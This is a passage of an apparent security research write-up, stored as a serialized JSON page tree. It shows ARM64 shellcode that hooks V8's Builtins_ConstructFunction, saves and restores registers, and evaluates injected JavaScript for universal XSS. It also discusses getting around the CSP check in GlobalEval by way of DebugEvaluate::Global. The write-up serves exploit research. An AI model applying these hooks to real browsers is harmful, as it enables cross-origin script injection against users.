\"x6\")}\n",{"type":24,"tag":147,"props":144704,"children":144705},{"class":149,"line":37881},[144706],{"type":24,"tag":147,"props":144707,"children":144708},{},[144709],{"type":29,"value":144710},"// and add a pointer to uxss_sc just above new instructions\n",{"type":24,"tag":147,"props":144712,"children":144713},{"class":149,"line":37902},[144714],{"type":24,"tag":147,"props":144715,"children":144716},{},[144717],{"type":29,"value":144718},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":24,"tag":147,"props":144720,"children":144721},{"class":149,"line":86535},[144722],{"type":24,"tag":147,"props":144723,"children":144724},{"emptyLinePlaceholder":16},[144725],{"type":29,"value":314},{"type":24,"tag":147,"props":144727,"children":144728},{"class":149,"line":86548},[144729],{"type":24,"tag":147,"props":144730,"children":144731},{},[144732],{"type":29,"value":144663},{"type":24,"tag":147,"props":144734,"children":144735},{"class":149,"line":86556},[144736],{"type":24,"tag":147,"props":144737,"children":144738},{},[144739],{"type":29,"value":144740},"mov x0, x6\n",{"type":24,"tag":147,"props":144742,"children":144743},{"class":149,"line":86564},[144744],{"type":24,"tag":147,"props":144745,"children":144746},{},[144747],{"type":29,"value":144679},{"type":24,"tag":25,"props":144749,"children":144750},{},[144751,144753,144759,144761,144766,144768,144774],{"type":29,"value":144752},"In the snippet above, ",{"type":24,"tag":80,"props":144754,"children":144756},{"className":144755},[],[144757],{"type":29,"value":144758},"new_compile_instrs",{"type":29,"value":144760}," refers to the instructions written to the beginning of ",{"type":24,"tag":80,"props":144762,"children":144764},{"className":144763},[],[144765],{"type":29,"value":144257},{"type":29,"value":144767}," that invoke the ",{"type":24,"tag":80,"props":144769,"children":144771},{"className":144770},[],[144772],{"type":29,"value":144773},"uxss_sc",{"type":29,"value":144775}," mmap-ed shellcode:",{"type":24,"tag":137,"props":144777,"children":144779},{"code":144778,"language":144310,"meta":7,"className":144311,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[144780],{"type":24,"tag":80,"props":144781,"children":144782},{"__ignoreMap":7},[144783,144791,144798,144806,144814,144821,144829,144837,144844,144852,144860,144867,144875],{"type":24,"tag":147,"props":144784,"children":144785},{"class":149,"line":150},[144786],{"type":24,"tag":147,"props":144787,"children":144788},{},[144789],{"type":29,"value":144790},"bti c\n",{"type":24,"tag":147,"props":144792,"children":144793},{"class":149,"line":160},[144794],{"type":24,"tag":147,"props":144795,"children":144796},{"emptyLinePlaceholder":16},[144797],{"type":29,"value":314},{"type":24,"tag":147,"props":144799,"children":144800},{"class":149,"line":169},[144801],{"type":24,"tag":147,"props":144802,"children":144803},{},[144804],{"type":29,"value":144805},"// store registers that will be overwritten\n",{"type":24,"tag":147,"props":144807,"children":144808},{"class":149,"line":178},[144809],{"type":24,"tag":147,"props":144810,"children":144811},{},[144812],{"type":29,"value":144813},"stp x15, lr, [sp, #-16]!\n",{"type":24,"tag":147,"props":144815,"children":144816},{"class":149,"line":187},[144817],{"type":24,"tag":147,"props":144818,"children":144819},{"emptyLinePlaceholder":16},[144820],{"type":29,"value":314},{"type":24,"tag":147,"props":144822,"children":144823},{"class":149,"line":196},[144824],{"type":24,"tag":147,"props":144825,"children":144826},{},[144827],{"type":29,"value":144828},"// get current rip into x15\n",{"type":24,"tag":147,"props":144830,"children":144831},{"class":149,"line":205},[144832],{"type":24,"tag":147,"props":144833,"children":144834},{},[144835],{"type":29,"value":144836},"adr x15, .\n",{"type":24,"tag":147,"props":144838,"children":144839},{"class":149,"line":214},[144840],{"type":24,"tag":147,"props":144841,"children":144842},{"emptyLinePlaceholder":16},[144843],{"type":29,"value":314},{"type":24,"tag":147,"props":144845,"children":144846},{"class":149,"line":272},[144847],{"type":24,"tag":147,"props":144848,"children":144849},{},[144850],{"type":29,"value":144851},"// load the uxss_sc pointer saved just above new instructions\n",{"type":24,"tag":147,"props":144853,"children":144854},{"class":149,"line":281},[144855],{"type":24,"tag":147,"props":144856,"children":144857},{},[144858],{"type":29,"value":144859},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":24,"tag":147,"props":144861,"children":144862},{"class":149,"line":299},[144863],{"type":24,"tag":147,"props":144864,"children":144865},{"emptyLinePlaceholder":16},[144866],{"type":29,"value":314},{"type":24,"tag":147,"props":144868,"children":144869},{"class":149,"line":308},[144870],{"type":24,"tag":147,"props":144871,"children":144872},{},[144873],{"type":29,"value":144874},"// jump to uxss_sc\n",{"type":24,"tag":147,"props":144876,"children":144877},{"class":149,"line":317},[144878],{"type":24,"tag":147,"props":144879,"children":144880},{},[144881],{"type":29,"value":144882},"blr x15\n",{"type":24,"tag":25,"props":144884,"children":144885},{},[144886,144891,144893,144898],{"type":24,"tag":80,"props":144887,"children":144889},{"className":144888},[],[144890],{"type":29,"value":144773},{"type":29,"value":144892}," is the mmap-ed shellcode invoked by the patched ",{"type":24,"tag":80,"props":144894,"children":144896},{"className":144895},[],[144897],{"type":29,"value":144257},{"type":29,"value":144899}," to execute our XSS payload. Its prologue looks like this:",{"type":24,"tag":137,"props":144901,"children":144903},{"code":144902,"language":144310,"meta":7,"className":144311,"style":7},"bti c\n\n// Save full register context\nstp x0,  x1,  [sp, #-16]!\nstp x2,  x3,  [sp, #-16]!\nstp x4,  x5,  [sp, #-16]!\nstp x6,  x7,  [sp, #-16]!\nstp x8,  x9,  [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[144904],{"type":24,"tag":80,"props":144905,"children":144906},{"__ignoreMap":7},[144907,144914,144921,144929,144937,144945,144953,144961,144969,144977,144985,144993,145001,145009,145017,145025,145033,145041,145049],{"type":24,"tag":147,"props":144908,"children":144909},{"class":149,"line":150},[144910],{"type":24,"tag":147,"props":144911,"children":144912},{},[144913],{"type":29,"value":144790},{"type":24,"tag":147,"props":144915,"children":144916},{"class":149,"line":160},[144917],{"type":24,"tag":147,"props":144918,"children":144919},{"emptyLinePlaceholder":16},[144920],{"type":29,"value":314},{"type":24,"tag":147,"props":144922,"children":144923},{"class":149,"line":169},[144924],{"type":24,"tag":147,"props":144925,"children":144926},{},[144927],{"type":29,"value":144928},"// Save full register context\n",{"type":24,"tag":147,"props":144930,"children":144931},{"class":149,"line":178},[144932],{"type":24,"tag":147,"props":144933,"children":144934},{},[144935],{"type":29,"value":144936},"stp x0,  x1,  [sp, #-16]!\n",{"type":24,"tag":147,"props":144938,"children":144939},{"class":149,"line":187},[144940],{"type":24,"tag":147,"props":144941,"children":144942},{},[144943],{"type":29,"value":144944},"stp x2,  x3,  [sp, #-16]!\n",{"type":24,"tag":147,"props":144946,"children":144947},{"class":149,"line":196},[144948],{"type":24,"tag":147,"props":144949,"children":144950},{},[144951],{"type":29,"value":144952},"stp x4,  x5,  [sp, #-16]!\n",{"type":24,"tag":147,"props":144954,"children":144955},{"class":149,"line":205},[144956],{"type":24,"tag":147,"props":144957,"children":144958},{},[144959],{"type":29,"value":144960},"stp x6,  x7,  [sp, #-16]!\n",{"type":24,"tag":147,"props":144962,"children":144963},{"class":149,"line":214},[144964],{"type":24,"tag":147,"props":144965,"children":144966},{},[144967],{"type":29,"value":144968},"stp x8,  x9,  [sp, #-16]!\n",{"type":24,"tag":147,"props":144970,"children":144971},{"class":149,"line":272},[144972],{"type":24,"tag":147,"props":144973,"children":144974},{},[144975],{"type":29,"value":144976},"stp x10, x11, [sp, #-16]!\n",{"type":24,"tag":147,"props":144978,"children":144979},{"class":149,"line":281},[144980],{"type":24,"tag":147,"props":144981,"children":144982},{},[144983],{"type":29,"value":144984},"stp x12, x13, [sp, #-16]!\n",{"type":24,"tag":147,"props":144986,"children":144987},{"class":149,"line":299},[144988],{"type":24,"tag":147,"props":144989,"children":144990},{},[144991],{"type":29,"value":144992},"stp x14, x15, [sp, #-16]!\n",{"type":24,"tag":147,"props":144994,"children":144995},{"class":149,"line":308},[144996],{"type":24,"tag":147,"props":144997,"children":144998},{},[144999],{"type":29,"value":145000},"stp x16, x17, [sp, #-16]!\n",{"type":24,"tag":147,"props":145002,"children":145003},{"class":149,"line":317},[145004],{"type":24,"tag":147,"props":145005,"children":145006},{},[145007],{"type":29,"value":145008},"stp x18, x19, [sp, #-16]!\n",{"type":24,"tag":147,"props":145010,"children":145011},{"class":149,"line":332},[145012],{"type":24,"tag":147,"props":145013,"children":145014},{},[145015],{"type":29,"value":145016},"stp x20, x21, [sp, #-16]!\n",{"type":24,"tag":147,"props":145018,"children":145019},{"class":149,"line":350},[145020],{"type":24,"tag":147,"props":145021,"children":145022},{},[145023],{"type":29,"value":145024},"stp x22, x23, [sp, #-16]!\n",{"type":24,"tag":147,"props":145026,"children":145027},{"class":149,"line":358},[145028],{"type":24,"tag":147,"props":145029,"children":145030},{},[145031],{"type":29,"value":145032},"stp x24, x25, [sp, #-16]!\n",{"type":24,"tag":147,"props":145034,"children":145035},{"class":149,"line":397},[145036],{"type":24,"tag":147,"props":145037,"children":145038},{},[145039],{"type":29,"value":145040},"stp x26, x27, [sp, #-16]!\n",{"type":24,"tag":147,"props":145042,"children":145043},{"class":149,"line":421},[145044],{"type":24,"tag":147,"props":145045,"children":145046},{},[145047],{"type":29,"value":145048},"stp x28, x29, [sp, #-16]!\n",{"type":24,"tag":147,"props":145050,"children":145051},{"class":149,"line":435},[145052],{"type":24,"tag":147,"props":145053,"children":145054},{},[145055],{"type":29,"value":145056},"str lr, [sp, #-16]!\n",{"type":24,"tag":25,"props":145058,"children":145059},{},[145060],{"type":29,"value":145061},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":24,"tag":25,"props":145063,"children":145064},{},[145065,145067,145072],{"type":29,"value":145066},"The epilogue restores all saved registers, restores the original instructions in ",{"type":24,"tag":80,"props":145068,"children":145070},{"className":145069},[],[145071],{"type":29,"value":144257},{"type":29,"value":145073},", and then returns execution to its beginning:",{"type":24,"tag":137,"props":145075,"children":145077},{"code":145076,"language":144310,"meta":7,"className":144311,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8,  x9,  [sp], #16\nldp x6,  x7,  [sp], #16\nldp x4,  x5,  [sp], #16\nldp x2,  x3,  [sp], #16\nldp x0,  x1,  [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[145078],{"type":24,"tag":80,"props":145079,"children":145080},{"__ignoreMap":7},[145081,145089,145097,145105,145113,145121,145128,145135,145143,145150,145157,145165,145173,145181,145189,145197,145205,145213,145221,145229,145237,145245,145253,145261,145269,145277,145285,145292,145300,145308,145316,145324,145332,145339,145347,145355,145362],{"type":24,"tag":147,"props":145082,"children":145083},{"class":149,"line":150},[145084],{"type":24,"tag":147,"props":145085,"children":145086},{},[145087],{"type":29,"value":145088},"// restore original instructions of Builtins_ConstructFunction\n",{"type":24,"tag":147,"props":145090,"children":145091},{"class":149,"line":160},[145092],{"type":24,"tag":147,"props":145093,"children":145094},{},[145095],{"type":29,"value":145096},"ldr lr, [sp], #16\n",{"type":24,"tag":147,"props":145098,"children":145099},{"class":149,"line":169},[145100],{"type":24,"tag":147,"props":145101,"children":145102},{},[145103],{"type":29,"value":145104},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":24,"tag":147,"props":145106,"children":145107},{"class":149,"line":178},[145108],{"type":24,"tag":147,"props":145109,"children":145110},{},[145111],{"type":29,"value":145112},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":24,"tag":147,"props":145114,"children":145115},{"class":149,"line":187},[145116],{"type":24,"tag":147,"props":145117,"children":145118},{},[145119],{"type":29,"value":145120},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":24,"tag":147,"props":145122,"children":145123},{"class":149,"line":196},[145124],{"type":24,"tag":147,"props":145125,"children":145126},{"emptyLinePlaceholder":16},[145127],{"type":29,"value":314},{"type":24,"tag":147,"props":145129,"children":145130},{"class":149,"line":205},[145131],{"type":24,"tag":147,"props":145132,"children":145133},{},[145134],{"type":29,"value":144663},{"type":24,"tag":147,"props":145136,"children":145137},{"class":149,"line":214},[145138],{"type":24,"tag":147,"props":145139,"children":145140},{},[145141],{"type":29,"value":145142},"mov x0, lr\n",{"type":24,"tag":147,"props":145144,"children":145145},{"class":149,"line":272},[145146],{"type":24,"tag":147,"props":145147,"children":145148},{},[145149],{"type":29,"value":144679},{"type":24,"tag":147,"props":145151,"children":145152},{"class":149,"line":281},[145153],{"type":24,"tag":147,"props":145154,"children":145155},{"emptyLinePlaceholder":16},[145156],{"type":29,"value":314},{"type":24,"tag":147,"props":145158,"children":145159},{"class":149,"line":299},[145160],{"type":24,"tag":147,"props":145161,"children":145162},{},[145163],{"type":29,"value":145164},"// restore original registers\n",{"type":24,"tag":147,"props":145166,"children":145167},{"class":149,"line":308},[145168],{"type":24,"tag":147,"props":145169,"children":145170},{},[145171],{"type":29,"value":145172},"ldp x28, x29, [sp], #16\n",{"type":24,"tag":147,"props":145174,"children":145175},{"class":149,"line":317},[145176],{"type":24,"tag":147,"props":145177,"children":145178},{},[145179],{"type":29,"value":145180},"ldp x26, x27, [sp], #16\n",{"type":24,"tag":147,"props":145182,"children":145183},{"class":149,"line":332},[145184],{"type":24,"tag":147,"props":145185,"children":145186},{},[145187],{"type":29,"value":145188},"ldp x24, x25, [sp], #16\n",{"type":24,"tag":147,"props":145190,"children":145191},{"class":149,"line":350},[145192],{"type":24,"tag":147,"props":145193,"children":145194},{},[145195],{"type":29,"value":145196},"ldp x22, x23, [sp], #16\n",{"type":24,"tag":147,"props":145198,"children":145199},{"class":149,"line":358},[145200],{"type":24,"tag":147,"props":145201,"children":145202},{},[145203],{"type":29,"value":145204},"ldp x20, x21, [sp], #16\n",{"type":24,"tag":147,"props":145206,"children":145207},{"class":149,"line":397},[145208],{"type":24,"tag":147,"props":145209,"children":145210},{},[145211],{"type":29,"value":145212},"ldp x18, x19, [sp], #16\n",{"type":24,"tag":147,"props":145214,"children":145215},{"class":149,"line":421},[145216],{"type":24,"tag":147,"props":145217,"children":145218},{},[145219],{"type":29,"value":145220},"ldp x16, x17, [sp], #16\n",{"type":24,"tag":147,"props":145222,"children":145223},{"class":149,"line":435},[145224],{"type":24,"tag":147,"props":145225,"children":145226},{},[145227],{"type":29,"value":145228},"ldp x14, x15, [sp], #16\n",{"type":24,"tag":147,"props":145230,"children":145231},{"class":149,"line":444},[145232],{"type":24,"tag":147,"props":145233,"children":145234},{},[145235],{"type":29,"value":145236},"ldp x12, x13, [sp], #16\n",{"type":24,"tag":147,"props":145238,"children":145239},{"class":149,"line":452},[145240],{"type":24,"tag":147,"props":145241,"children":145242},{},[145243],{"type":29,"value":145244},"ldp x10, x11, [sp], #16\n",{"type":24,"tag":147,"props":145246,"children":145247},{"class":149,"line":461},[145248],{"type":24,"tag":147,"props":145249,"children":145250},{},[145251],{"type":29,"value":145252},"ldp x8,  x9,  [sp], #16\n",{"type":24,"tag":147,"props":145254,"children":145255},{"class":149,"line":469},[145256],{"type":24,"tag":147,"props":145257,"children":145258},{},[145259],{"type":29,"value":145260},"ldp x6,  x7,  [sp], #16\n",{"type":24,"tag":147,"props":145262,"children":145263},{"class":149,"line":508},[145264],{"type":24,"tag":147,"props":145265,"children":145266},{},[145267],{"type":29,"value":145268},"ldp x4,  x5,  [sp], #16\n",{"type":24,"tag":147,"props":145270,"children":145271},{"class":149,"line":572},[145272],{"type":24,"tag":147,"props":145273,"children":145274},{},[145275],{"type":29,"value":145276},"ldp x2,  x3,  [sp], #16\n",{"type":24,"tag":147,"props":145278,"children":145279},{"class":149,"line":591},[145280],{"type":24,"tag":147,"props":145281,"children":145282},{},[145283],{"type":29,"value":145284},"ldp x0,  x1,  [sp], #16\n",{"type":24,"tag":147,"props":145286,"children":145287},{"class":149,"line":632},[145288],{"type":24,"tag":147,"props":145289,"children":145290},{"emptyLinePlaceholder":16},[145291],{"type":29,"value":314},{"type":24,"tag":147,"props":145293,"children":145294},{"class":149,"line":659},[145295],{"type":24,"tag":147,"props":145296,"children":145297},{},[145298],{"type":29,"value":145299},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":24,"tag":147,"props":145301,"children":145302},{"class":149,"line":684},[145303],{"type":24,"tag":147,"props":145304,"children":145305},{},[145306],{"type":29,"value":145307},"// it immediately, so we can clobber and use it as a return register.\n",{"type":24,"tag":147,"props":145309,"children":145310},{"class":149,"line":715},[145311],{"type":24,"tag":147,"props":145312,"children":145313},{},[145314],{"type":29,"value":145315},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":24,"tag":147,"props":145317,"children":145318},{"class":149,"line":744},[145319],{"type":24,"tag":147,"props":145320,"children":145321},{},[145322],{"type":29,"value":145323},"// where to return\n",{"type":24,"tag":147,"props":145325,"children":145326},{"class":149,"line":784},[145327],{"type":24,"tag":147,"props":145328,"children":145329},{},[145330],{"type":29,"value":145331},"mov x4, lr\n",{"type":24,"tag":147,"props":145333,"children":145334},{"class":149,"line":792},[145335],{"type":24,"tag":147,"props":145336,"children":145337},{"emptyLinePlaceholder":16},[145338],{"type":29,"value":314},{"type":24,"tag":147,"props":145340,"children":145341},{"class":149,"line":805},[145342],{"type":24,"tag":147,"props":145343,"children":145344},{},[145345],{"type":29,"value":145346},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":24,"tag":147,"props":145348,"children":145349},{"class":149,"line":813},[145350],{"type":24,"tag":147,"props":145351,"children":145352},{},[145353],{"type":29,"value":145354},"ldp x15, lr, [sp], #16\n",{"type":24,"tag":147,"props":145356,"children":145357},{"class":149,"line":821},[145358],{"type":24,"tag":147,"props":145359,"children":145360},{"emptyLinePlaceholder":16},[145361],{"type":29,"value":314},{"type":24,"tag":147,"props":145363,"children":145364},{"class":149,"line":1902},[145365],{"type":24,"tag":147,"props":145366,"children":145367},{},[145368],{"type":29,"value":145369},"ret x4\n",{"type":24,"tag":25,"props":145371,"children":145372},{},[145373,145375,145380,145382,145387,145389,145395],{"type":29,"value":145374},"At this point, we have successfully hooked ",{"type":24,"tag":80,"props":145376,"children":145378},{"className":145377},[],[145379],{"type":29,"value":144257},{"type":29,"value":145381}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":24,"tag":80,"props":145383,"children":145385},{"className":145384},[],[145386],{"type":29,"value":144773},{"type":29,"value":145388}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":24,"tag":80,"props":145390,"children":145392},{"className":145391},[],[145393],{"type":29,"value":145394},"Builtins_GlobalEval",{"type":29,"value":87},{"type":24,"tag":25,"props":145397,"children":145398},{},[145399,145404,145406,145411,145413,145418],{"type":24,"tag":80,"props":145400,"children":145402},{"className":145401},[],[145403],{"type":29,"value":145394},{"type":29,"value":145405}," takes a single ",{"type":24,"tag":80,"props":145407,"children":145409},{"className":145408},[],[145410],{"type":29,"value":53525},{"type":29,"value":145412}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":24,"tag":80,"props":145414,"children":145416},{"className":145415},[],[145417],{"type":29,"value":43146},{"type":29,"value":978},{"type":24,"tag":137,"props":145420,"children":145422},{"code":145421,"language":34714,"meta":7,"className":34712,"style":7},"BUILTIN(GlobalEval) {\n  [...]\n\n  if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n    isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n    return ReadOnlyRoots(isolate).undefined_value();\n  }\n",[145423],{"type":24,"tag":80,"props":145424,"children":145425},{"__ignoreMap":7},[145426,145439,145446,145453,145496,145518,145544],{"type":24,"tag":147,"props":145427,"children":145428},{"class":149,"line":150},[145429,145434],{"type":24,"tag":147,"props":145430,"children":145431},{"style":229},[145432],{"type":29,"value":145433},"BUILTIN",{"type":24,"tag":147,"props":145435,"children":145436},{"style":235},[145437],{"type":29,"value":145438},"(GlobalEval) {\n",{"type":24,"tag":147,"props":145440,"children":145441},{"class":149,"line":160},[145442],{"type":24,"tag":147,"props":145443,"children":145444},{"style":235},[145445],{"type":29,"value":3663},{"type":24,"tag":147,"props":145447,"children":145448},{"class":149,"line":169},[145449],{"type":24,"tag":147,"props":145450,"children":145451},{"emptyLinePlaceholder":16},[145452],{"type":29,"value":314},{"type":24,"tag":147,"props":145454,"children":145455},{"class":149,"line":178},[145456,145461,145466,145470,145475,145479,145483,145487,145492],{"type":24,"tag":147,"props":145457,"children":145458},{"style":235},[145459],{"type":29,"value":145460},"  if (!Builtins::",{"type":24,"tag":147,"props":145462,"children":145463},{"style":9044},[145464],{"type":29,"value":145465},"AllowDynamicFunction",{"type":24,"tag":147,"props":145467,"children":145468},{"style":235},[145469],{"type":29,"value":480},{"type":24,"tag":147,"props":145471,"children":145472},{"style":9044},[145473],{"type":29,"value":145474},"isolate",{"type":24,"tag":147,"props":145476,"children":145477},{"style":235},[145478],{"type":29,"value":546},{"type":24,"tag":147,"props":145480,"children":145481},{"style":9044},[145482],{"type":29,"value":120651},{"type":24,"tag":147,"props":145484,"children":145485},{"style":235},[145486],{"type":29,"value":546},{"type":24,"tag":147,"props":145488,"children":145489},{"style":9044},[145490],{"type":29,"value":145491},"target_global_proxy",{"type":24,"tag":147,"props":145493,"children":145494},{"style":235},[145495],{"type":29,"value":1432},{"type":24,"tag":147,"props":145497,"children":145498},{"class":149,"line":187},[145499,145504,145508,145513],{"type":24,"tag":147,"props":145500,"children":145501},{"style":247},[145502],{"type":29,"value":145503},"    isolate",{"type":24,"tag":147,"props":145505,"children":145506},{"style":235},[145507],{"type":29,"value":495},{"type":24,"tag":147,"props":145509,"children":145510},{"style":229},[145511],{"type":29,"value":145512},"CountUsage",{"type":24,"tag":147,"props":145514,"children":145515},{"style":235},[145516],{"type":29,"value":145517},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":24,"tag":147,"props":145519,"children":145520},{"class":149,"line":196},[145521,145525,145530,145535,145540],{"type":24,"tag":147,"props":145522,"children":145523},{"style":321},[145524],{"type":29,"value":2597},{"type":24,"tag":147,"props":145526,"children":145527},{"style":229},[145528],{"type":29,"value":145529}," ReadOnlyRoots",{"type":24,"tag":147,"props":145531,"children":145532},{"style":235},[145533],{"type":29,"value":145534},"(isolate).",{"type":24,"tag":147,"props":145536,"children":145537},{"style":229},[145538],{"type":29,"value":145539},"undefined_value",{"type":24,"tag":147,"props":145541,"children":145542},{"style":235},[145543],{"type":29,"value":9295},{"type":24,"tag":147,"props":145545,"children":145546},{"class":149,"line":205},[145547],{"type":24,"tag":147,"props":145548,"children":145549},{"style":235},[145550],{"type":29,"value":11496},{"type":24,"tag":25,"props":145552,"children":145553},{},[145554,145556,145561],{"type":29,"value":145555},"This means we would need to patch the function further to ensure it never enters this ",{"type":24,"tag":80,"props":145557,"children":145559},{"className":145558},[],[145560],{"type":29,"value":21191},{"type":29,"value":145562}," block.",{"type":24,"tag":25,"props":145564,"children":145565},{},[145566],{"type":29,"value":145567},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":24,"tag":137,"props":145569,"children":145571},{"code":145570,"language":34714,"meta":7,"className":34712,"style":7},"BUILTIN(GlobalEval) {\n\n  [...]\n\n  DirectHandle\u003CJSFunction> function;\n  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n      isolate, function,\n      Compiler::GetFunctionFromValidatedString(\n          direct_handle(target->native_context(), isolate), source,\n          NO_PARSE_RESTRICTION, kNoSourcePosition));\n  RETURN_RESULT_OR_FAILURE(\n      isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[145572],{"type":24,"tag":80,"props":145573,"children":145574},{"__ignoreMap":7},[145575,145586,145593,145600,145607,145615,145627,145635,145652,145682,145690,145702],{"type":24,"tag":147,"props":145576,"children":145577},{"class":149,"line":150},[145578,145582],{"type":24,"tag":147,"props":145579,"children":145580},{"style":229},[145581],{"type":29,"value":145433},{"type":24,"tag":147,"props":145583,"children":145584},{"style":235},[145585],{"type":29,"value":145438},{"type":24,"tag":147,"props":145587,"children":145588},{"class":149,"line":160},[145589],{"type":24,"tag":147,"props":145590,"children":145591},{"emptyLinePlaceholder":16},[145592],{"type":29,"value":314},{"type":24,"tag":147,"props":145594,"children":145595},{"class":149,"line":169},[145596],{"type":24,"tag":147,"props":145597,"children":145598},{"style":235},[145599],{"type":29,"value":3663},{"type":24,"tag":147,"props":145601,"children":145602},{"class":149,"line":178},[145603],{"type":24,"tag":147,"props":145604,"children":145605},{"emptyLinePlaceholder":16},[145606],{"type":29,"value":314},{"type":24,"tag":147,"props":145608,"children":145609},{"class":149,"line":187},[145610],{"type":24,"tag":147,"props":145611,"children":145612},{"style":235},[145613],{"type":29,"value":145614},"  DirectHandle\u003CJSFunction> function;\n",{"type":24,"tag":147,"props":145616,"children":145617},{"class":149,"line":196},[145618,145623],{"type":24,"tag":147,"props":145619,"children":145620},{"style":229},[145621],{"type":29,"value":145622},"  ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":24,"tag":147,"props":145624,"children":145625},{"style":235},[145626],{"type":29,"value":9088},{"type":24,"tag":147,"props":145628,"children":145629},{"class":149,"line":205},[145630],{"type":24,"tag":147,"props":145631,"children":145632},{"style":235},[145633],{"type":29,"value":145634},"      isolate, function,\n",{"type":24,"tag":147,"props":145636,"children":145637},{"class":149,"line":214},[145638,145643,145648],{"type":24,"tag":147,"props":145639,"children":145640},{"style":235},[145641],{"type":29,"value":145642},"      Compiler::",{"type":24,"tag":147,"props":145644,"children":145645},{"style":229},[145646],{"type":29,"value":145647},"GetFunctionFromValidatedString",{"type":24,"tag":147,"props":145649,"children":145650},{"style":235},[145651],{"type":29,"value":9088},{"type":24,"tag":147,"props":145653,"children":145654},{"class":149,"line":272},[145655,145660,145664,145668,145672,145677],{"type":24,"tag":147,"props":145656,"children":145657},{"style":229},[145658],{"type":29,"value":145659},"          direct_handle",{"type":24,"tag":147,"props":145661,"children":145662},{"style":235},[145663],{"type":29,"value":480},{"type":24,"tag":147,"props":145665,"children":145666},{"style":247},[145667],{"type":29,"value":120651},{"type":24,"tag":147,"props":145669,"children":145670},{"style":235},[145671],{"type":29,"value":495},{"type":24,"tag":147,"props":145673,"children":145674},{"style":229},[145675],{"type":29,"value":145676},"native_context",{"type":24,"tag":147,"props":145678,"children":145679},{"style":235},[145680],{"type":29,"value":145681},"(), isolate), source,\n",{"type":24,"tag":147,"props":145683,"children":145684},{"class":149,"line":281},[145685],{"type":24,"tag":147,"props":145686,"children":145687},{"style":235},[145688],{"type":29,"value":145689},"          NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":24,"tag":147,"props":145691,"children":145692},{"class":149,"line":299},[145693,145698],{"type":24,"tag":147,"props":145694,"children":145695},{"style":229},[145696],{"type":29,"value":145697},"  RETURN_RESULT_OR_FAILURE",{"type":24,"tag":147,"props":145699,"children":145700},{"style":235},[145701],{"type":29,"value":9088},{"type":24,"tag":147,"props":145703,"children":145704},{"class":149,"line":308},[145705,145710,145715],{"type":24,"tag":147,"props":145706,"children":145707},{"style":235},[145708],{"type":29,"value":145709},"      isolate, Execution::",{"type":24,"tag":147,"props":145711,"children":145712},{"style":229},[145713],{"type":29,"value":145714},"Call",{"type":24,"tag":147,"props":145716,"children":145717},{"style":235},[145718],{"type":29,"value":145719},"(isolate, function, target_global_proxy, {}));\n",{"type":24,"tag":25,"props":145721,"children":145722},{},[145723,145725,145730,145732,145738,145740,145746,145748,145754],{"type":29,"value":145724},"But determining the correct ",{"type":24,"tag":80,"props":145726,"children":145728},{"className":145727},[],[145729],{"type":29,"value":120651},{"type":29,"value":145731}," value, obtaining ",{"type":24,"tag":80,"props":145733,"children":145735},{"className":145734},[],[145736],{"type":29,"value":145737},"target->native_context()",{"type":29,"value":145739},", and locating the ",{"type":24,"tag":80,"props":145741,"children":145743},{"className":145742},[],[145744],{"type":29,"value":145745},"direct_handle",{"type":29,"value":145747}," function, just to make a proper call to ",{"type":24,"tag":80,"props":145749,"children":145751},{"className":145750},[],[145752],{"type":29,"value":145753},"Compiler::GetFunctionFromValidatedString",{"type":29,"value":145755},", seemed unnecessarily cumbersome.",{"type":24,"tag":25,"props":145757,"children":145758},{},[145759,145761,145767],{"type":29,"value":145760},"Instead, we found a much simpler option with no security checks: ",{"type":24,"tag":80,"props":145762,"children":145764},{"className":145763},[],[145765],{"type":29,"value":145766},"DebugEvaluate::Global",{"type":29,"value":145768},". This function is used by the DevTools console to evaluate JavaScript entered 